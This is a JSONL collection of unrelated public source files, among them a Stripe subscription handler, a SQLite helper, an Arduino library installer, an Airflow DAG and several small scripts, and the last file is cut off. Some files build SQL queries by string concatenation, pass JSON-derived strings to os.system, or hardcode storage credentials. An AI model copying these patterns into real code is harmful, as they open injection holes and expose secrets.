+{"seq_id":"82175890","text":"from utilities import is_prime, compressible_vector\n\n__all__ = ['Q', 'N', \"R_SIZE\", 'G', \"PARAMETERS\"]\n\ndef find_closest_prime(n):\n if n % 2:\n offset = 0\n else:\n offset = 1\n while not is_prime(n + offset):\n offset += 2\n return offset\n\ndef generate_q(q_size):\n q_start = 2 ** q_size\n offset = find_closest_prime(q_start)\n return q_start + offset\n\ndef generate_parameters(security_level):\n print(\"Warning: secure parameterization for 'n' not established\")\n\n # picks the largest n that will allow a signature to fit in 1 packet\n budget = 1500 * 8 # MTU, amount of space available in a single packet\n q_size = (security_level * 2)\n n = int(float(budget / 2) / q_size)\n q = generate_q(q_size)\n print(\"Using log2(q)=2^{}, n={} for k={}\".format(q_size, n, security_level))\n\n r_size = q_size + security_level # in bytes; larger than q to reduce bias\n s_max = 2 ** security_level\n hash_algorithm = \"SHA512\"\n G = compressible_vector(r_size, n, q)\n g = G[0]\n parameters = {\"security_level\" : 128, 'q' : q, 'n' : n, 'G' : G, 'g' : g,\n \"r_size\" : r_size, \"s_max\" : s_max, \"q_size\" : q_size,\n \"hash_algorithm\" : hash_algorithm}\n return q, n, r_size, s_max, G, parameters\n\nQ, N, R_SIZE, S_MAX, G, PARAMETERS = generate_parameters(128)\n","sub_path":"crypto2/parameters.py","file_name":"parameters.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"529514162","text":"import csv\nimport pandas as pd\n\nfieldnames = [\n \"Date\",\n \"Description\",\n \"Original Description\",\n \"Amount\",\n \"Transaction Type\",\n \"Category\",\n \"Account Name\",\n \"Labels\",\n \"Notes\",\n]\n\n\nclass Transaction:\n def __init__(self, *args, **kwargs):\n for fieldname, i in fieldnames:\n print(i, fieldname)\n\n\ncsvfile = open(\"./data/transactions.csv\")\n\npandas_csv = pd.read_csv(\"./data/transactions.csv\")\n\n\nprint(pandas_csv.query(\"Amount > 10000\"))\n\nreader = csv.DictReader(csvfile)\n\n# Create Pandas DataFrame from DictReader\ntransactions = pd.DataFrame(reader)\n\ncsvfile.close()\n","sub_path":"day8/lesson_pandas.py","file_name":"lesson_pandas.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"642067459","text":"from __future__ import print_function\nassert app_init\n\"\"\"\n time python cli2.py -nopp 2 --no-dump -dcf config/db_config.json \\\n -pcf config/proc/snow_url_sql/DY_Position_SD.json \\\n --proc_params '2018-12-31 00:00:00' \"$(date +\"%Y-%m-%d %H:%M:%S\")\"\n \n \n time python cli2.py -nopp 4 -dcf config/db_config.json -pcf config/proc/snow_url_sql/DY_FinancingPosition.json \\\n --proc_params Repo '2018-12-31 00:00:00' \"$(date +\"%Y-%m-%d %H:%M:%S\")\" e5569eb7-e333-4e28-ad77-0f224a7d2499@1\n#\n# pa[0] = ReferenceType\n# pa[1] = AccountingDate\n# pa[2] = AsOfDateTime\n# pa[3] = gatoken\n#\n\n\n\n\"\"\"\ntry:\n\timport __builtin__ as builtins\nexcept:\n\timport builtins\nbuiltins.app_init=app_init\n\nfrom include.cli.snow_url_sql \t\timport snow_url_sql\t\tas cli__\nfrom include.extractor.Snowflake\timport Snowflake \t\tas extractor__\nfrom include.loader.SQLServer \t\timport SQLServer\t\tas sql_loader__\nfrom include.extractor.Url \t\t\timport Url \t\t\t\tas url_extractor__\nfrom include.Email \t\t\t\t\timport Email\t\t\tas emailer__\n\nfrom pprint import pprint as pp\nfrom collections import OrderedDict\nbuiltins.app_init=app_init\nfrom include.Flow import ListFlow as Dag, WaitFor, InOut, SyncMain as Main, Async\n\n\nSnow_cursor\t= InOut()\nurl_pipe\t= InOut()\ntrans_ids\t= InOut()\n\n##\n##\nemail_args={'email_subject':'RefCode->SQLServer'}\n##\n##\n\n#import include.clisten\nimport include.csend as senders\n\n\ndef run():\n print('Using \"kwargs\" messaging protocol of pubsub v3')\n\n senders.doSomething1()\n senders.doSomething2()\n\t\nif 0:\n\tDag([\n\t\tMain([\n\t\t\t[[extractor__\t\t.open_stream,\t\tNone, \t\t\tSnow_cursor\t], 'IDs fetch'\t\t],\n\t\t\t[[url_extractor__\t.read_stream,\t\tSnow_cursor, \ttrans_ids\t], 'Read IDs'\t\t],\n\t\t\t[[sql_loader__\t\t.begin_transaction,\tNone, \t\t\tNone\t\t], 'Target trans'\t],\n\t\t\t[[url_extractor__\t.open_stream, \t\ttrans_ids, \t\turl_pipe\t], 'Read data'\t\t],\n\t\t\t[[sql_loader__\t\t.purge_data, \t\tNone, \t\t\tNone\t\t], 'purge old '\t\t],\n\t\t\t[[sql_loader__\t\t.insert_data, \t\turl_pipe, \t\tNone\t\t], 'Insert new '\t],\n\t\t\t[[sql_loader__\t\t.end_transaction, \tNone, \t\t\tNone\t\t], 'Commit target'\t],\n\t\t\tAsync([[emailer__\t.send_email,\t\temail_args,\t\tNone\t\t], 'send email'\t\t])\n\t\t\t]),\n\t\tWaitFor(\n\t\t\tMain(['send email'])\n\t\t)\n\t])\n\n\n\nif __name__=='__main__':\n\tpass\n\n\n\n\n","sub_path":"config/workflow/__snow_url_sql.py","file_name":"__snow_url_sql.py","file_ext":"py","file_size_in_byte":2180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"377428535","text":"import numpy as np\nimport pandas as pd\n\nfrom config import config\nfrom volumes import volumes\nfrom pricing import pricing\nfrom functions import annual_to_monthly_rate\n\nvol=volumes()\nprices=pricing()\n\necon=pd.concat([vol, prices], axis=1)\necon['gross_sales_oil']=econ['gross_volume_oil']*econ['price_oil']*config['working_interest']\necon['gross_sales_gas']=econ['gross_volume_gas']*econ['price_gas']*config['working_interest']\necon['gross_sales_ngl']=econ['gross_volume_ngl']*econ['price_ngl']*config['working_interest']\necon['gross_sales_total']=econ['gross_sales_oil']+econ['gross_sales_gas']+econ['gross_sales_ngl']\n\necon['severance_tax_oil']=econ['gross_sales_oil']*config['taxes']['severance']['oil']*config['working_interest']\necon['severance_tax_gas']=econ['gross_sales_gas']*config['taxes']['severance']['gas']*config['working_interest']\necon['severance_tax_ngl']=econ['gross_sales_ngl']*config['taxes']['severance']['oil']*config['working_interest']\necon['severance_total']=econ['severance_tax_oil']+econ['severance_tax_gas']+econ['severance_tax_ngl']\n\necon['expenses_fixed']=config['expenses']['fixed']*config['working_interest']\necon['expenses_variable']=(config['expenses']['variable']['oil']*econ['gross_sales_oil']+config['expenses']['variable']['gas']*econ['gross_sales_gas']+config['expenses']['variable']['ngl']*econ['gross_sales_ngl'])*config['working_interest']\n\necon['expenses_total']=(econ['expenses_variable']+config['expenses']['fixed'])*config['working_interest']\n\necon['gross_revenue_after_sevtax_and_expenses']=econ['gross_sales_total']-econ['severance_total']-econ['expenses_total']\n\necon['ad_valorum_tax']=econ['gross_revenue_after_sevtax_and_expenses']*config['taxes']['ad_valorum']\n\necon['gross_revenue_after_sevtax_and_expenses_and_advaltax']=econ['gross_revenue_after_sevtax_and_expenses']-econ['ad_valorum_tax']\n\necon['capital']=0.0\necon.ix[0,'capital']=(config['capital']['idc']+config['capital']['icc']+config['capital']['land'])*config['working_interest']\n\necon['gross_cash_flow']=econ['gross_revenue_after_sevtax_and_expenses_and_advaltax']-econ['capital']\necon['net_nondiscounted_cash_flow']=(econ['gross_revenue_after_sevtax_and_expenses_and_advaltax']*config['net_revenue_interest'])-econ['capital']\n\necon['cum_net_nondiscounted_cashflow']=econ['net_nondiscounted_cash_flow'].cumsum()\necon['net_discounted_cashflow']=econ['net_nondiscounted_cash_flow']/(1+annual_to_monthly_rate(config['discount_rate_annual']))**econ['standard_time']\necon['cum_net_discounted_cashflow']=econ['net_discounted_cashflow'].cumsum()\n\n\necon.to_excel(r'C:\\Users\\WaltN\\Desktop\\GitHub\\curvey\\output\\econ.xlsx')\n\n\nnpv=round(np.npv(annual_to_monthly_rate(config['discount_rate_annual']),econ['net_nondiscounted_cash_flow']), 2)\nirr=round(np.irr(econ['net_discounted_cashflow']), 2)\n\nprint('''\n NPV: ${}\n IRR: {}\n '''.format(npv, irr))","sub_path":"economics.py","file_name":"economics.py","file_ext":"py","file_size_in_byte":2855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"227885813","text":"#!/usr/bin/python3\n\nimport rospy\nfrom geometry_msgs.msg import Twist\nfrom rospy.timer import Rate\nfrom std_msgs.msg import String\n\n\n\nclass MoveRobot():\n def __init__(self):\n\n if rospy.on_shutdown(self.get_stop):\n print('Program execution is stopped')\n\n self.mov_msg = Twist()\n # It does not move in Y because it is a plane\n self.mov_msg.linear.x = 0.0 # linear speed\n self.mov_msg.angular.z = 0.0 # angular speed\n\n # Depending on the text the Twist message will change\n # X , Z\n self.mov_dic = {\n 'avanza': [0.15 , 0.0],\n 'gira': [0.0 , 0.5],\n 'detente': [0.0, 0.0]\n }\n\n # Creating the publisher with data type Twist (instead String)\n self.pub = rospy.Publisher('/cmd_vel', Twist, queue_size=1) # cmd_vel is the topic\n \n # Creating the publisher\n rospy.Subscriber('/recognizer/output', String, callback=self.get_mov) # Subscribes to the /recognizer/output topic\n\n\n rate = rospy.Rate(10) # 10 Hz\n\n # Below you write what you want to be published\n while not rospy.is_shutdown(): # While not pressing ctrl + c\n self.pub.publish(self.mov_msg)\n print(self.mov_msg) # Shown on the console\n rate.sleep() \n\n # Function that stops the movement of the robot\n def stop(self):\n stop = 0.0\n # linear\n self.mov_msg.linear.x = stop\n # angular\n self.mov_msg.angular.z = stop\n \n\n # Function that moves the robot\n def get_mov(self, mov): # The topic passes the value 'mov'\n key_txt = mov.data.lower() # The text is retrieved: avanza, gira or detente (if there is one)\n if key_txt in self.mov_dic:\n get_key = self.mov_dic[key_txt]\n self.mov_msg.linear.x = get_key[0]\n self.mov_msg.angular.z = get_key[1]\n\n print('Command executed successfully')\n else:\n self.stop()\n print('Command not recognized.')\n print('The recognized commands are the following three: avanza, gira y detente')\n\n # Function that runs when the program stops\n def get_stop(self):\n self.stop()\n msg = self.mov_msg\n rospy.loginfo(msg)\n self.pub.publish(msg)\n \n\n# Function that initializes the node\ndef init_node():\n rospy.init_node('action_pub', anonymous=True)\n print('Node created successfully!')\n\nif __name__ == '__main__':\n init_node()\n try:\n MoveRobot() \n except rospy.ROSInterruptException:\n pass\n","sub_path":"src/robot_comm/src/publisher_subscriptor.py","file_name":"publisher_subscriptor.py","file_ext":"py","file_size_in_byte":2598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"323907162","text":"import os\nimport stripe\nimport psycopg2\nimport psycopg2.extras\n\nfrom exceptions import UserIsNotPremiumException\n\nstripe.api_key = os.environ['COINALERT_STRIPE_API_KEY']\n\n\ndef create_premium_customer(phone: int, stripe_payment_info: dict) -> None:\n\n stripe_cust_response = stripe.Customer.create(source=stripe_payment_info['stripeToken'],\n email=stripe_payment_info['stripeEmail'],\n metadata={\"phone\": phone})\n\n # subscribe customer to premium plan\n\n stripe_sub_response = stripe.Subscription.create(\n customer=stripe_cust_response['id'],\n items=[{'plan': os.environ['STRIPE_PREMIUM_SUBSCRIPTION_PLAN']}]\n )\n\n conn = psycopg2.connect(os.environ['COINALERT_DB_CONN_STR'])\n\n cursor = conn.cursor(cursor_factory=psycopg2.extras.DictCursor)\n\n cursor.execute(\"UPDATE users SET is_premium = true, stripe_payment_token = '%s', stripe_customer_id = '%s', stripe_email = '%s'\\\n stripe_premium_subscription = %s where phone = %i\" % (stripe_payment_info['stripeToken'], stripe_cust_response['id'],\n stripe_payment_info['stripeEmail'], stripe_sub_response['id'], phone))\n\n conn.commit()\n conn.close()\n\n\ndef cancel_premium_subscription(phone: int) -> int:\n \"\"\"returns the unix timestamp the subscription will end on\"\"\"\n conn = psycopg2.connect(os.environ['COINALERT_DB_CONN_STR'])\n\n cursor = conn.cursor(cursor_factory=psycopg2.extras.DictCursor)\n\n cursor.execute(\"SELECT stripe_subscription FROM users WHERE phone = %i\" % (phone))\n\n res = cursor.fetchone()\n\n if not res[0]:\n conn.close()\n raise UserIsNotPremiumException('User is not a premium subscriber, cannot cancel premium subscription.')\n\n subscription = stripe.Subscription.retrieve(res[0])\n\n end_epoch = subscription['current_period_end']\n\n cursor.execute(\"UPDATE users set downgrade_at = %i WHERE phone = %i\" % (end_epoch, phone))\n\n # delete subscription in Stripe\n subscription.delete()\n\n cursor.execute(\"UPDATE users set stripe_subscription = '' WHERE phone = %i\" % (phone))\n\n conn.commit()\n conn.close()\n\n return end_epoch\n","sub_path":"subscription_access.py","file_name":"subscription_access.py","file_ext":"py","file_size_in_byte":2211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"604259872","text":"import json\r\nimport gspread\r\nfrom oauth2client.client import SignedJwtAssertionCredentials\r\n\r\njson_key = json.load(open('creds.json')) # json credentials you downloaded earlier\r\nscope = ['https://spreadsheets.google.com/feeds',\r\n 'https://www.googleapis.com/auth/drive']\r\n\r\ncredentials = SignedJwtAssertionCredentials(json_key['client_email'], json_key['private_key'].encode(), scope) # get email and key from creds\r\n\r\nfile = gspread.authorize(credentials) # authenticate with Google\r\nsheet = file.open(\"Python Read/Write\").sheet1 # open sheet\r\n\r\nrequest = sheet.acell('A1').value\r\nprint(request)","sub_path":"Interact WIth Google Assistant/ReadGoogleSheets.py","file_name":"ReadGoogleSheets.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"74656702","text":"'''Основные операции работы с БД'''\nimport sqlite3\n\nclass CoreDB:\n list_fields = {'mc_cards': 'CREATE TABLE mc_cards (equipmentName text, equipmentType text, orgName text, quantity number, commentCard text)'}\n\n def connect_db(self):\n #Подключение к БД\n self.conn = sqlite3.connect(\"manage_comp.db\") #Создание подклбчения к БД\n self.cur = self.conn.cursor() #Создание курсора\n return self.conn, self.cur\n\n def check_tables(self):\n #Проверка наличия требуемых таблиц в БД\n self.list_tables = self.list_fields.keys()\n self._cur = self.connect_db()[1]\n\n for i in self.list_tables:\n #проходимся по списку с таблицами и проверяем зарегистрированны ли они в системной таблицу SQLITE_MASTER\n self.s = self._cur.execute(\"SELECT 1 from SQLITE_MASTER where tbl_name = ?\", [i]) #Выполняем SQL-запрос\n self.s_result = self.s.fetchall() #Возвращаем рещультат запроса\n if len(self.s_result) == 0:\n self._cur.execute(self.list_fields[i]) #Если количество таблиц 0, то выполняем SQL-запрос\n # по созданию структур данных.\n # Текст запроса для каждой таблицы хранится в списке list_fields\n\n\n def insert_data(self, table_name, fields_list, fields_value_list):\n '''Добавление строки в таблицу\n имя таблицы - строка, передается имя таблицы, в которую будет вставлена запись\n список полей- строка, передается строка со списков полей в виде \"поле1, поле2, поле3\"\n список значение- строка передается список значений в виде 'значение 1', 'значение 2', 'значение 3' '''\n self.conn = self.connect_db()[0]\n self.cur = self.connect_db()[1]\n #Компонуется строка SQL-запроса\n self.result_comand = \"\"\"INSERT INTO \"\"\"+table_name+\"\"\" (\"\"\"+fields_list+\"\"\") VALUES (\"\"\"+fields_value_list+\"\"\")\"\"\"\n self.cur.execute(self.result_comand) #Выполняется SQL-запрос\n self.conn.commit() #Производится коммит\n self.conn.close() #Закрывается соединение\n\n def delete_item(self, table_name, id_value):\n # удаление строки по ID\n db = self.connect_db()\n conn = db[0]\n cur = db[1]\n sql_string = 'DELETE from '+table_name+' WHERE ROWID = '+id_value\n cur.execute(sql_string)\n conn.commit()\n conn.close()\n\n def update_item(self, table_name, fields_list, values_list, id_value):\n #обновление записи по ID\n max_items = len(fields_list)\n sql_flist_string = 'set '\n for i, sitem in enumerate(fields_list):\n sql_flist_string = sql_flist_string +sitem+' = \"'+values_list[i+1]+'\" '\n if i != max_items-1:\n sql_flist_string = sql_flist_string + ', '\n sql_update_string = ' UPDATE '+table_name+' '+sql_flist_string+' where ROWID = '+str(id_value)\n db = self.connect_db()\n conn = db[0]\n cur = db[1]\n cur.execute(sql_update_string)\n conn.commit()\n conn.close()\n\n def select_data(self, sql_string):\n '''Выбор данных из таблицы\n sql_string - текст SQL-запроса'''\n conn = self.connect_db()[0]\n cur = self.connect_db()[1]\n self.select_result = cur.execute(sql_string).fetchall()\n conn.close()\n return self.select_result","sub_path":"core_db.py","file_name":"core_db.py","file_ext":"py","file_size_in_byte":4090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"319146510","text":"import telebot\nimport config\n\nbot = telebot.TeleBot(config.TOKEN)\n\n@bot.message_handler(content_types = ['text'])\ndef koshak(message):\n bot.send_message(message.chat.id,message.text)\n\nif __name__ == '__main__':\n bot.polling(none_stop=True)\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"586157058","text":"import coreschema\nfrom django.contrib.auth.models import User\nfrom django.db import IntegrityError\nfrom rest_framework import parsers, renderers, status\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework.authtoken.serializers import AuthTokenSerializer\nfrom rest_framework.exceptions import ValidationError\nfrom rest_framework.generics import ListAPIView, CreateAPIView, UpdateAPIView\nfrom rest_framework.response import Response\nfrom rest_framework.schemas import coreapi, ManualSchema\nfrom rest_framework.views import APIView\n\nfrom app.api.operator.serializers import InstitutionOperatorListSerializer, CityOperatorListSerializer, UserSerializer\nfrom app.models import InstitutionOperator, CityOperator\n\n\nclass InstitutionOperatorListView(ListAPIView):\n queryset = InstitutionOperator.objects.all()\n serializer_class = InstitutionOperatorListSerializer\n\n def get_queryset(self):\n qs = InstitutionOperator.objects.all()\n if not self.request.user.is_anonymous:\n u = User.objects.get(username=self.request.user.username)\n if u.is_superuser:\n if self.request.GET.get('id'):\n id = self.request.GET.get('id')\n qs = qs.filter(id=id)\n if self.request.GET.get('city_id'):\n city_id = self.request.GET.get('city_id')\n qs = qs.filter(institution__district__city_id=city_id)\n if self.request.GET.get('district_id'):\n city_id = self.request.GET.get('district_id')\n qs = qs.filter(institution__district_id=city_id)\n elif u.institutionoperator_set.count() > 0:\n qs = qs.filter(id=-1)\n elif u.cityoperator_set.count() > 0:\n op = u.cityoperator_set.first()\n qs = qs.filter(district__city=op.city)\n if self.request.GET.get('id'):\n id = self.request.GET.get('id')\n qs = qs.filter(id=id)\n else:\n qs = qs.filter(id=-1)\n return qs\n\n\nclass CityOperatorListView(ListAPIView):\n queryset = CityOperator.objects.all()\n serializer_class = CityOperatorListSerializer\n\n def get_queryset(self):\n qs = CityOperator.objects.all()\n if not self.request.user.is_anonymous:\n u = User.objects.get(username=self.request.user.username)\n if u.is_superuser:\n if self.request.GET.get('id'):\n id = self.request.GET.get('id')\n qs = qs.filter(id=id)\n else:\n qs = qs.filter(id=-1)\n return qs\n\n\nclass OperatorInfoView(ListAPIView):\n\n def get_serializer_class(self):\n u = User.objects.get(username=self.request.user.username)\n if u.institutionoperator_set.count()>0:\n return InstitutionOperatorListSerializer\n elif u.cityoperator_set.count()>0:\n return CityOperatorListSerializer\n else:\n return UserSerializer\n\n def get_queryset(self):\n u = User.objects.get(username=self.request.user.username)\n if u.institutionoperator_set.count() > 0:\n qs = u.institutionoperator_set.all()\n if self.request.GET.get('id'):\n id = self.request.GET.get('id')\n qs = qs.filter(id=id)\n return qs\n elif u.cityoperator_set.count() > 0:\n qs = u.cityoperator_set.all()\n if self.request.GET.get('id'):\n id = self.request.GET.get('id')\n qs = qs.filter(id=id)\n return qs\n else:\n qs = User.objects.filter(username=u.username)\n if self.request.GET.get('id'):\n id = self.request.GET.get('id')\n qs = qs.filter(id=id)\n return qs\n\nclass InstitutionOperatorCreateView(CreateAPIView):\n queryset = InstitutionOperator.objects.all()\n serializer_class = InstitutionOperatorListSerializer\n\n def create(self, request, *args, **kwargs):\n try:\n return super(CreateAPIView, self).create(request,*args, **kwargs)\n except IntegrityError:\n content = {'error': 'UserExist'}\n return Response(content, status=status.HTTP_400_BAD_REQUEST)\n\n def get_queryset(self):\n qs = InstitutionOperator.objects.all()\n u = User.objects.get(username=self.request.user.username)\n if u.cityoperator_set.count()>0:\n qs = qs.filter(district__city_id=u.cityoperator_set.first().city.id)\n return qs\n\n\nclass CityOperatorCreateView(CreateAPIView):\n queryset = CityOperator.objects.all()\n serializer_class = CityOperatorListSerializer\n\n def create(self, request, *args, **kwargs):\n try:\n return super(CreateAPIView, self).create(request,*args, **kwargs)\n except IntegrityError:\n content = {'error': 'UserExist'}\n return Response(content, status=status.HTTP_400_BAD_REQUEST)\n\n\n\n\n\nclass InstitutionOperatorUpdateView(UpdateAPIView):\n queryset = InstitutionOperator.objects.all()\n serializer_class = InstitutionOperatorListSerializer\n lookup_url_kwarg = 'id'\n\n def partial_update(self, request, *args, **kwargs):\n kwargs['partial'] = True\n return self.update(request, *args, **kwargs)\n\n\nclass CityOperatorUpdateView(UpdateAPIView):\n queryset = CityOperator.objects.all()\n serializer_class = CityOperatorListSerializer\n lookup_url_kwarg = 'id'\n\n def partial_update(self, request, *args, **kwargs):\n kwargs['partial'] = True\n return self.update(request, *args, **kwargs)\n\n\n","sub_path":"app/api/operator/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"432619765","text":"from tradeapi import *\nimport sys\nimport time\n\ndef getAverage(trades, factor):\n sumRate = 0.00\n for trade in trades:\n sumRate += float(trade['rate'])\n average = sumRate / factor\n return average\n\np = Poloniex()\nfactor = 10\n\ntimer = 0\nHistory = p.returnLastMarketTrades(\"USDT_ETH\", factor)\nlastAverage = float(History[0]['rate'])\navgOut = \"Calculating...\"\n\nwhile True:\n newHistory = p.returnLastMarketTrades(\"USDT_ETH\", factor)\n History = newHistory\n\n average = getAverage(History, factor)\n\n sys.stdout.write('\\r\\x1b[K{} | '.format(avgOut))\n sys.stdout.write('Timer: {}'.format(timer))\n sys.stdout.flush()\n\n timer += 1\n if timer == 60:\n timer = 0\n\n avgOut = average / lastAverage\n# lastAverage = average\n\n time.sleep(1)\n\n","sub_path":"temp.py","file_name":"temp.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"289198072","text":"import requests\nimport os \nimport json\n\n\ndef checkInternetRequests(url='http://www.google.com/', timeout=3):\n try:\n #r = requests.get(url, timeout=timeout)\n r = requests.head(url, timeout=timeout)\n return True\n except requests.ConnectionError as ex:\n print(ex)\n return False\n\ndef check_library():\n \n directory = 'resources/items'\n items_file = []\n for filename in os.listdir(directory):\n if filename.endswith(\".json\"): \n items_file.append(os.path.join(directory, filename)) \n else:\n continue\n\n\n directory = 'resources/boards'\n board_file = []\n for filename in os.listdir(directory):\n if filename.endswith(\".json\"): \n board_file.append(os.path.join(directory, filename)) \n else:\n continue\n items_list = []\n for json_file in items_file:\n with open(json_file) as jsons:\n item_info_dictionary = json.load(jsons)\n\n \n for lib in item_info_dictionary[\"Library\"]:\n items_list.append(f'\"{lib}\"')\n\n for lib in set(items_list):\n os.system(f\"arduino-cli lib install {lib}\")\n \n\n boards_list = []\n URL_list = []\n for json_file in board_file:\n with open(json_file) as jsons:\n item_info_dictionary = json.load(jsons)\n #print(item_info_dictionary)\n if item_info_dictionary[\"URL\"] is not None:\n for link in item_info_dictionary[\"URL\"]:\n URL_list.append(link)\n\n for lib in item_info_dictionary[\"Library\"]:\n boards_list.append(f'\"{lib}\"')\n\n for URL in set(URL_list):\n if URL is not None:\n os.system(f\"arduino-cli core update-index --additional-url {URL}\")\n\n for lib in set(boards_list):\n os.system(f\"arduino-cli core install {lib}\")","sub_path":"program/backend/scrapper.py","file_name":"scrapper.py","file_ext":"py","file_size_in_byte":1824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"152331187","text":"#!/usr/bin/env python3\n\nfrom flask import Flask, abort\nfrom argparse import ArgumentParser\nfrom fibonacci import fibo\nfrom functools import lru_cache\n\n\n@lru_cache(maxsize=4096)\ndef cached_fibo(n):\n return fibo(n)\n\napp = Flask(__name__)\n\n\n@app.route('/fibonacci/api/v1.0/', methods=['GET'])\ndef get_fibo(n):\n if n < 0:\n abort(404)\n else:\n return str(cached_fibo(n))\n\n\nif __name__ == '__main__':\n description = 'Just a simple REST API script that calculates the ' \\\n 'Fibonacci numbers'\n epilog = 'Example: http://[SERVER]:[PORT]/fibonacci/api/v1.0/42'\n\n parser = ArgumentParser(description=description, epilog=epilog)\n parser.add_argument('-p', '--port', metavar='N', type=int,\n required=True, help='specify port number')\n args = vars(parser.parse_args())\n\n app.run(host='0.0.0.0', port=args['port'])\n","sub_path":"fiborest.py","file_name":"fiborest.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"629598762","text":"from airflow import DAG\n\nfrom airflow_notebook.pipeline import NotebookOp\nfrom airflow.utils.dates import days_ago\n\n# Setup default args with older date to automatically trigger when uploaded\nargs = {\n \"project_id\": \"test-tensorflow-103-1013083640\",\n}\n\ndag = DAG(\n \"test-tensorflow-103-1013083640\",\n default_args=args,\n schedule_interval=\"@once\",\n start_date=days_ago(1),\n description=\"Created with Elyra 2.2.4 pipeline editor using test-tensorflow-103.pipeline.\",\n is_paused_upon_creation=False,\n)\n\n\nnotebook_op_32a32b67_af9e_41f0_a74e_c615d6f07643 = NotebookOp(\n name=\"untitled\",\n namespace=\"anz-ml\",\n task_id=\"untitled\",\n notebook=\"mlops-workshop/airflow/spark/untitled.py\",\n cos_endpoint=\"http://minio-ml-workshop-anz-ml.apps.btpns01.apac-1.rht-labs.com\",\n cos_bucket=\"airflow\",\n cos_directory=\"test-tensorflow-103-1013083640\",\n cos_dependencies_archive=\"untitled-32a32b67-af9e-41f0-a74e-c615d6f07643.tar.gz\",\n pipeline_outputs=[],\n pipeline_inputs=[],\n image=\"quay.io/ml-aml-workshop/airflow-python-runner:0.0.5\",\n in_cluster=True,\n env_vars={\n \"AWS_ACCESS_KEY_ID\": \"minio\",\n \"AWS_SECRET_ACCESS_KEY\": \"minio123\",\n \"ELYRA_ENABLE_PIPELINE_INFO\": \"True\",\n },\n config_file=\"None\",\n dag=dag,\n)\n\nnotebook_op_32a32b67_af9e_41f0_a74e_c615d6f07643.image_pull_policy = \"Always\"\n","sub_path":"test-tensorflow-103-1013083640.py","file_name":"test-tensorflow-103-1013083640.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"493804946","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\n@author: hwd \r\n@time: 2017-08-22 15:05 \r\n\"\"\"\r\n\r\nimport sys\r\nimport subprocess\r\n\r\nimport gflags\r\n\r\nfrom util import SpeechRecognition, Translation\r\n\r\n\r\ndef extract_audio(input_path, output_path):\r\n command = ['ffmpeg',\r\n '-i', input_path,\r\n '-vn',\r\n output_path]\r\n p = subprocess.call(command, shell=True)\r\n return p\r\n\r\n\r\ndef main(flags):\r\n sr = SpeechRecognition()\r\n tr = Translation()\r\n print('extract audio...')\r\n # extract_audio('C:/Users/hwd/Desktop/1.m4v', 'C:/Users/hwd/Desktop/1.wav')\r\n extract_audio(flags.input_path, flags.output_path)\r\n print('transform speech to text...')\r\n results = sr.speech_to_text(flags.output_path)\r\n print('translating...')\r\n subtitles = []\r\n for result in results:\r\n subtitle = tr.translate(result['text'], from_lang=flags.from_lang, to_lang=flags.to_lang)\r\n if subtitle is not None:\r\n subtitles.append({'time': result['time'], 'text': subtitle})\r\n print('generate subtitles...')\r\n\r\n\r\nif __name__ == '__main__':\r\n global_flags = gflags.FLAGS\r\n gflags.DEFINE_boolean('help', False, 'Show this help.')\r\n gflags.DEFINE_string('input_path', '', 'video file path.')\r\n gflags.DEFINE_string('output_path', '', 'audio file path.')\r\n gflags.DEFINE_string('from_lang', 'auto', 'source language.')\r\n gflags.DEFINE_string('to_lang', 'zh', 'destination language.')\r\n global_flags(sys.argv)\r\n if global_flags.help:\r\n print(global_flags.main_module_help())\r\n exit(0)\r\n exit(main(global_flags))\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"545437251","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\nfrom ipywidgets import interact, interactive, fixed\nimport ipywidgets as widgets\nfrom IPython.display import display\n\n\n# In[2]:\n\n\ndf_tips = sns.load_dataset(\"tips\")\n\n\n# In[3]:\n\n\nALL = \"ALL\"\ndef unique_sorted_values_plus_ALL(array):\n unique=array.unique().tolist()\n unique.sort()\n unique.insert(0,ALL)\n return unique\n\n\n# In[4]:\n\n\ndrop_day = widgets.Dropdown(options= unique_sorted_values_plus_ALL(df_tips.day))\n\n\n# In[5]:\n\n\ndef dropdown_day(change):\n if(change.new == ALL):\n tips=df_tips.groupby([\"day\"])[\"tip\"].mean()\n df_new=tips.reset_index()\n df_new= df_new.rename(columns = {\n df_new.columns[1]: \"Mean\"\n })\n display(df_new)\n else:\n tips=df_tips[df_tips.day == change.new]\n tips=tips.mean()\n df_new=tips.reset_index()\n df_new= df_new.rename(columns = {\n df_new.columns[1]: \"Mean\"\n })\n 